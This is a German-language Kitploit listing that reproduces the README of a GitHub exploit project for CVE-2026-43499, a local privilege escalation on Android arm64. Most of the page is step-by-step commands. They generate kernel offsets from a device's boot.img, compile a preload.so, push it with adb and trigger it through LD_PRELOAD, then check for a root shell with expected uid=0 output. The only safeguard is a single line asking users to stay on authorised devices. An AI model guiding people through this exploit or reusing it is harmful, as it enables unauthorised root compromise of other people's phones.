Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-43499_HW-CLT-AL01 — Generiert gerätespezifische Kernel-Offsets aus boot.img und kompiliert eine Preload-Bibliothek, um die lokale Rechteausweitung von Android arm64 (CVE-2026-43499) auszunutzen. | Kitploit
Tools/GitHubGitHub/zychen027/cve-2026-43499_hw-clt-al01
Android-SicherheitPrivilege EscalationExploitationMobile SicherheitPayload-EntwicklungFirmware-AnalyseBinary-Exploitation
GitHubzychen027/cve-2026-43499_hw-clt-al01

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-43499_HW-CLT-AL01

Generiert gerätespezifische Kernel-Offsets aus boot.img und kompiliert eine Preload-Bibliothek, um die lokale Rechteausweitung von Android arm64 (CVE-2026-43499) auszunutzen.

Repository anzeigen
2vor 21 TagenNoch nicht geprüft

CVE-2026-43499 Android arm64 Anpassung für lokale Rechteausweitung

English | Chinesisch


Dies ist ein Projekt zur Anpassung der lokalen Rechteausweitung (Local Privilege Escalation) unter Android arm64 für CVE-2026-43499.

Das Projekt generiert target.h basierend auf dem boot.img des Zielgeräts und den Profilinformationen und kompiliert anschließend das entsprechende preload.so.

Hinweis: Dieses Projekt ist ein generisches Anpassungs-Framework und an keine einzelne Gerätevariante gebunden. Ob es tatsächlich funktioniert, hängt davon ab, ob generate_target.py erfolgreich target.h generieren kann, sowie von den Testergebnissen auf einem echten Gerät ab.


Verzeichnisstruktur

root@kitploit:~
项目目录/
├── boot.img                   # 目标设备同固件 boot 镜像
├── profile.json               # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

Benötigte Abhängigkeiten

Grundlegende Abhängigkeiten

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Empfohlene Windows-Umgebung

Unter Windows wird Folgendes empfohlen:

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Installieren Sie make in MSYS2:

root@kitploit:~
pacman -S make coreutils

Vorbereiten der Dateien

Sie benötigen:

root@kitploit:~
boot.img
profile.json

Beispiel für profile:

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Diese beiden Adressen in profile:

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

können Sie auf einem bereits gerooteten Telefon mit derselben Firmware wie das Ziel-boot.img erhalten, indem Sie das Skript ausführen:

root@kitploit:~
python3 detect_offset.py

Unter Windows ebenfalls möglich:

root@kitploit:~
python detect_offset.py

Verwendung

1. Projektverzeichnis wechseln

Linux / macOS:

root@kitploit:~
cd PATH/project

Windows-MSYS2-Beispiel:

root@kitploit:~
cd PATH/CVE-2026-43499-Poc-Analysis-main

2. NDK-Pfad festlegen

Linux/macOS-Beispiel:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk

Windows-MSYS2-Beispiel:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29

3. target.h generieren

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h

Oder mit CMD:

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h

Wenn die Meldung erscheint, dass llvm-objdump nicht gefunden wurde, geben Sie den Pfad manuell an:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h \
  --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Oder mit CMD:

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Nach erfolgreicher Ausführung erscheint etwa Folgendes:

root@kitploit:~
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. preload.so kompilieren

Linux / macOS:

root@kitploit:~
make -C source clean preload

Windows MSYS2:

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

Nach erfolgreicher Ausführung wird erzeugt:

root@kitploit:~
source/build/bin/preload.so

5. Auf das Gerät übertragen und ausführen

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
root@kitploit:~
adb shell "chmod 0644 /data/local/tmp/preload.so"
root@kitploit:~
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"

Überprüfung:

root@kitploit:~
adb shell "/data/local/tmp/su -c 'id'"

Bei Erfolg erscheint in der Regel:

root@kitploit:~
uid=0(root) gid=0(root)

Windows-MSYS2-Ein-Klick-Ablauf

Beispiel mit Ihrem Pfad:

root@kitploit:~
cd PATH/CVE-2026-43499-annibale-main
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

Endgültige Datei:

root@kitploit:~
source/build/bin/preload.so

Häufig gestellte Fragen

llvm-objdump wird nicht gefunden

Installieren Sie LLVM oder verwenden Sie:

root@kitploit:~
--llvm-objdump "PATH/llvm-objdump"

make wird nicht gefunden

Unter Windows über MSYS2 installieren:

root@kitploit:~
pacman -S make coreutils

clang wird nicht gefunden

In der Regel ist der NDK-Pfad nicht richtig konfiguriert.

Windows-MSYS2-Beispiel:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

target.h-Generierung fehlgeschlagen

Das bedeutet in der Regel, dass das aktuelle boot.img oder das Kernel-Layout noch nicht erfolgreich angepasst wurde.

Schwerpunktmäßig prüfen:

root@kitploit:~
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

Hinweise

  • Nach einem Wechsel von Gerät, System oder Kernel muss target.h neu generiert werden.
  • Es wird nicht empfohlen, target.h manuell zu ändern; es sollte automatisch mit generate_target.py generiert werden.
  • Bitte verwenden Sie das Projekt nur auf Geräten und in Umgebungen, für die Sie autorisiert sind.
Tool herunterladen